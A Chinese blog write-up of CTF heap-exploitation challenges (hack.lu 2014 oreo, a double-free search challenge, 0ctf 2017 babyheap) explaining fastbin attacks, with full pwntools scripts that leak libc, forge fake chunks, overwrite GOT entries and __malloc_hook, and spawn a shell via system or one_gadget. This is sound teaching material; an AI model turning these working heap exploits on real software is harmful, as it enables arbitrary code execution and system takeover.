fastbinin_attack

就把wiki上的三道题稍微看了一下,了解了一下下fastbin attack,但是。。。依旧不算太清醒
好了,废话不多说,开始吧

2014 hack.lu oreo

add

里面的rifle name是从a288+25开始写,然后description是直接从a288处开始的,总共长度是56字节,地址占了四个字节,56-4 =52 description占25,name则占27
具体看汇编

v1是pre指针 为eax+52,即最后四个字节为指针地址,而这个指针指向的是description。
我们可以写入的name有为56,存在溢出,可以覆写pre的地址

show

这里show的内容description是指针指向的地址
我们可以借此leak出libc

massage

进行更改的地方是a2a8里存着的地址指向的地方,利用此来get shell

order

这里就是free,free完之后a2a0+1

1、使pre覆写成puts_got的地址,show的时候,description里面的内容为puts_addr
2、构造一个fack chunk,我们知道呢,一个chunk的结构大概是,pre_size, size,内容。我们知道a2a4的地方是写add一次就+1,a2a0是free一次+1,a2a8是存放massage指向内容的地址,可以利用这个构建一个chunk,又因为要绕过题目检查,又存name的地方也有存description的地方,所以要构造下一个chunk,把size 0x41写进去
3、改一个got表为system即可,这里改的是scanf,wiki里面改的是strlen(对这个函数我不是很熟,不太懂system最后的传参,就没用了),据说还可以改free_hook 为onegadget(我不会找free_hook的地址,全网搜貌似也没搜出来用这种方法的exp)

关于wiki上的exp,看了大佬的博客之后才知道以下的姿势(关于strlen的传参)
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势:system(“ls;/bin/sh”)就相当于sytem(“ls”);system(“/bin/sh”);
分号代表system函数将这个参数分成两部分,先后执行里面的命令。
因此这里在fgets函数篡改了strlen_got后紧接着调用strlen,
就相当于system(p32(system_addr);”/bin/sh”) = system(p32(system_addr));system(“/bin/sh”);
这样就能实现最终目的了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
# context.binary = "./melong"
context.log_level ='DEBUG'

p = process('./oreo')
elf = ELF('./oreo')
libc = ELF('./libc.so.6')


def add(name,description):
# p.recvuntil("6. Exit!")
# p.recvuntil("Action: ")
p.sendline("1")
# p.recvuntil("Rifle name: ")
p.sendline(name)
# p.recvuntil("Rifle description: ")
p.sendline(description)



def show():
# p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil('===================================\n')

def order():
# p.recvuntil("Action: ")
p.sendline("3")

def massage(notice):
# p.recvuntil("Action: ")
p.sendline("4")
p.sendline(notice)

p.recv()
name = 27 * 'a' + p32(elf.got['puts'])
add(name ,25 * 'a')
show()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
print hex(puts_addr)

libc_base = puts_addr - libc.sym['puts']
print hex(libc_base)

# libc_base = libc.address


system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search("/bin/sh"))
onegadget = libc_base + 0x5fbc6 #尝试过把scanf改成onegadget,但是五个都没成功。。。
i=1
for i in range(0x3f):
add('a' * 27 + p32(0),25 * 'a') #num -> 0x41

#num addr = 0x804A2A4

#fack chunk

add('a'*27+p32(0x804A2A8),'a'*25)
massage('\x00'*0x24+p32(0x41)) #description's chunk

order()

scanf_got = elf.got['__isoc99_sscanf']
add('a',p32(scanf_got))

massage(p32(system_addr))
p.sendline('/bin/sh')

p.interactive()

这题就没有很认真的写wp,就把不太明白的点记一下吧

一开始一直没想到free完一次之后可以查找’\x00’这个word,就一直很迷惑要怎么double free
分析两个一开始没懂的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
index_sentence('a' * 0x5d + ' d ')  #a
index_sentence('b' * 0x5d + ' d ') #b
index_sentence('c' * 0x5d + ' d ') #c

# a->b->c->NULL
search_word('d') #正常的删除
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')

# b->a->b->a->...
search_word('\x00') #首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
p.recvuntil('Delete this sentence (y/n)?\n') #删除b
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n') #删除a
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n') #删除 libc_leak的时候添加的sentence
p.sendline('n')

最后是只删除了b使得 a->b->c->null 又多了一个头变成了 b-> a->b->c->null 即形成了b->a->b->a->…的循环,形成了double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 #此时的fastbin为 b->a->b
# 3. fastbin attack to malloc_hook nearby chunk 向malloc_hook中写东西,改写b->fd,使其指向malloc_hook附近
fake_chunk_addr = main_arena_addr - 0x33
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')

index_sentence(fake_chunk) #b的fd改成fake_addrs
index_sentence('a' * 0x60) #分配chunk_a
index_sentence('b' * 0x60) #分配chunk_b 填了chunk_b之后才能往fake_chunk里面写payload

one_gadget_addr = libc_base + 0xf02a4
payload = 'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')

index_sentence(payload) #赋写malloc_hook为one_gadget

2017 0ctf babyheap

先介绍一下Arbitrary Alloc
(来自ctf wiki)

只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

example
在这个例子,我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 int main(void)
{
void *chunk1;
void *chunk_a;

chunk1=malloc(0x60);

free(chunk1);

*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}

这里的 0x7ffff7dd1af5 是我根据本机的情况得出的值,这个值是怎么获得的呢?首先我们要观察欲写入地址附近是否存在可以字节错位的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x7ffff7dd1a88 0x0  0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0

0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这个程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80),如下:

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个 0x000000000000007f

1
2
3
4
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f

因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。

1
2
##define fastbin_index(sz)                                                      \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

(注意 sz 的大小是 unsigned int,因此只占 4 个字节)
而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 malloc_hook 的内容 (在我的 libc 中realloc_hook 与__malloc_hook 是在连在一起的)。

1
2
3
4
5
6
7
8
9
0x4005a8 <main+66>        call   0x400450 <malloc@plt>
→ 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax

$rax : 0x7ffff7dd1afd

0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
一般都是在5或者d处(作为最后8和0结尾的地方),所以一般alloc的里面,覆盖malloc_hook的话,要 -0x33(3结尾来对齐)

okk,开始进入正题
在fill里面,发现可以自己重新写size再填内容,和开始alloc的大小可以不一样,然后free没有清零,以此制造overlap

第一步先 用overlap leak基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
allocate(0x10)#0  00
allocate(0x10)#1 20
allocate(0x10)#2 40
allocate(0x10)#3 60
allocate(0x80)#4 80

free(2)
free(1)

payload = 'a'*0x10 + p64(0) +p64(0x21) + p8(0x80) #覆写最后一字节,将free掉的2指向4的地址
fill(0,len(payload),payload)

payload = 'a'*0x10 + p64(0)+ p64(0x21) #把4的size改成0x21,下一次alloc的时候可以写入这个地方
fill(3,len(payload),payload)

allocate(0x10)#1
allocate(0x10)#2 ->4

payload = 'a'*0x10 + p64(0)+ p64(0x91) #指向4之后再将大小改回来
fill(3,len(payload),payload)
# gdb.attach(p)
allocate(0x80) #5 如果没有这个,free就没了,打不出来地址
free(4)
dump(2)#overlap

p.recvuntil('Content: \n')
main_arena = u64(p.recv(8))-0x58

print hex(main_arena)
print hex(libc.sym['__libc_start_main'])

libc_base = main_arena - 0x3C4B20
#0x7F50FB4A9000‬

第二步就构造chunk,使one_gadget能写到mollac_hook的地址里,
0x80可以写下0x60的chunk

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

idx为5,则找7f,就开始提到的arbitrary alloc的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
allocate(0x10)#1
allocate(0x10)#2 ->4

payload = 'a'*0x10 + p64(0)+ p64(0x91)
fill(3,len(payload),payload)
# gdb.attach(p)
allocate(0x80)#5
free(4)
dump(2)#overlap

p.recvuntil('Content: \n')
main_arena = u64(p.recv(8))-0x58

print hex(main_arena)
print hex(libc.sym['__libc_start_main'])

libc_base = main_arena - 0x3C4B20
#0x7F50FB4A9000‬

allocate(0x60)
free(4)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
target = main_arena - 0x33
addr = p64(target)
fill(2,len(addr),addr)
gdb.attach(p)
allocate(0x60)#4
allocate(0x60)#target 6

onegadget = libc_base + 0x4526a

payload = 'a'*0x13 + p64(onegadget)
fill(6,len(payload),payload)

allocate(0x100)

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

#


def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))


def fill(idx, size, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)


def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))


def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))


allocate(0x10)#0 00
allocate(0x10)#1 20
allocate(0x10)#2 40
allocate(0x10)#3 60
allocate(0x80)#4 80

free(2)
free(1)

payload = 'a'*0x10 + p64(0) +p64(0x21) + p8(0x80)
fill(0,len(payload),payload)

payload = 'a'*0x10 + p64(0)+ p64(0x21)
fill(3,len(payload),payload)

allocate(0x10)#1
allocate(0x10)#2 ->4

payload = 'a'*0x10 + p64(0)+ p64(0x91)
fill(3,len(payload),payload)
# gdb.attach(p)
allocate(0x80)#5
free(4)
dump(2)#overlap

p.recvuntil('Content: \n')
main_arena = u64(p.recv(8))-0x58

print hex(main_arena)
print hex(libc.sym['__libc_start_main'])

libc_base = main_arena - 0x3C4B20
#0x7F50FB4A9000‬

allocate(0x60)
free(4)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
target = main_arena - 0x33
addr = p64(target)
fill(2,len(addr),addr)
gdb.attach(p)
allocate(0x60)#4
allocate(0x60)#target 6

onegadget = libc_base + 0x4526a

payload = 'a'*0x13 + p64(onegadget)
fill(6,len(payload),payload)

allocate(0x100)
p.interactive()

参考链接:
https://bbs.pediy.com/thread-247214.htm
https://blog.betamao.me/2018/02/25/hack-lu-ctf-2014-oreo/
https://bbs.pediy.com/thread-247219-1.htm(师傅写了两个方法,可以看看)